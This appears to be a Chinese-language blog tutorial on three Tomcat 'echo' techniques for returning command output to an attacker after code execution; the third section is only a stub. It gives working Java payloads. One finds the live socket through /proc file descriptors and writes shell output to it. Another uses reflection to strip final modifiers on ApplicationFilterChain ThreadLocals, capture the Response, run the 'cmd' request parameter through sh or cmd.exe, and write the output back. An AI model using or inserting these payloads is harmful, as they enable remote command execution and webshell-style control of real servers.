Tomcat几种回显

  1. 1. Tomcat几种回显
    1. 1.1. 文件描述符回显
    2. 1.2. 通过ThreadLocal Response回显
    3. 1.3. 通过全局存储 Response回显

Tomcat几种回显

文件描述符回显

00theway师傅的思路

https://www.00theway.org/2020/01/17/java-god-s-eye/

在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。

只要获取当前请求的对应进程的文件描述符,在输出描述符中写入内容就能够回显。

如何获得描述符?

可以通过下面的命令获取

1
2
3
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`
b=`ls -l /proc/$PPID/fd|grep 7200A8C0|awk '{print $9}'`
echo -n $b

整合之后是这样

在实际使用过程中注意把客户端IP地址转换成16进制字节倒序,替换xxxx字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i xxxx|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;

while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();

cmd = new String[]{"/bin/sh","-c","ls /"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();

while ((line = br.readLine()) != null){
stringBuilder.append(line);
}

String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);

java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();

这一段简单逻辑:执行获取描述符的命令,存入num。通过反射获取了FileDescriptor的构造器,参数为num,之后反射实例化,通过wirte方法写入我们执行的"/bin/sh","-c","ls /"的内容达到回显。

通过ThreadLocal Response回显

kingkk师傅的思路

https://www.kingkk.com/2020/03/Tomcat%E4%B8%AD%E4%B8%80%E7%A7%8D%E5%8D%8A%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E6%96%B9%E6%B3%95/

整合之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}

思路:

  • 1.通过翻阅函数调用栈寻找存储Response的类
  • 2.最好是个静态变量,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的
  • 3.使用ThreadLocal保存的变量,在获取的时候更加方便,不会有什么错误
  • 4.修复原有输出,通过分析源码找到问题所在

这里涉及到通过反射修改private static final修饰的属性,参考下面的文章。

https://www.cnblogs.com/noKing/p/9038234.html

因为自身基础问题,学习之前还不知道ThreadLocal类的作用,可以参考下面文章。

https://www.jianshu.com/p/6fc3bba12f38

但简单来说ThreadLocal可以在一个线程中传递同一个对象。利用此特点获取我们要的response。

ApplicationFilterChain类的internalDoFilter有对ThreadLocal的赋值操作

1645763225491.png

拆开看

这一段是通过反射来改变private static final值的过程,这里还没有赋值

1
2
3
4
5
6
7
8
9
10
11
Field WRAP_SAME_OBJECT_FIELD ==Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

这一段从lastServicedResponse变量中获取tomcat Response变量

1
2
3
4
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
......
......
ServletResponse responseFacade = lastServicedResponse.get();

这里初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal,先判断是否为null,不是null就不要初始化。

1
2
3
4
5
6
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
......

之后是Response类的getWriter的一个问题,

1645798491417.png

文档描述:

1
2
3
4
5
6
7
/**
* @return the writer associated with this Response.
*
* @exception IllegalStateException if <code>getOutputStream</code> has
* already been called for this response
* @exception IOException if an input/output error occurs
*/

看上方文档描述。如果已经调用过getWriter则再次调用会报错,判断方法是如果

usingWriter是true则已经调用过

1645798628707.png

所以需要反射修改usingWriter的值,对应的就是下面

1
2
3
4
5
6
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);

整合之后就是我们最上面放的回显。

1645711099373.png

通过全局存储 Response回显

https://zhuanlan.zhihu.com/p/114625962

是在org.apache.coyote.http11.Http11Processor

1645926348708.png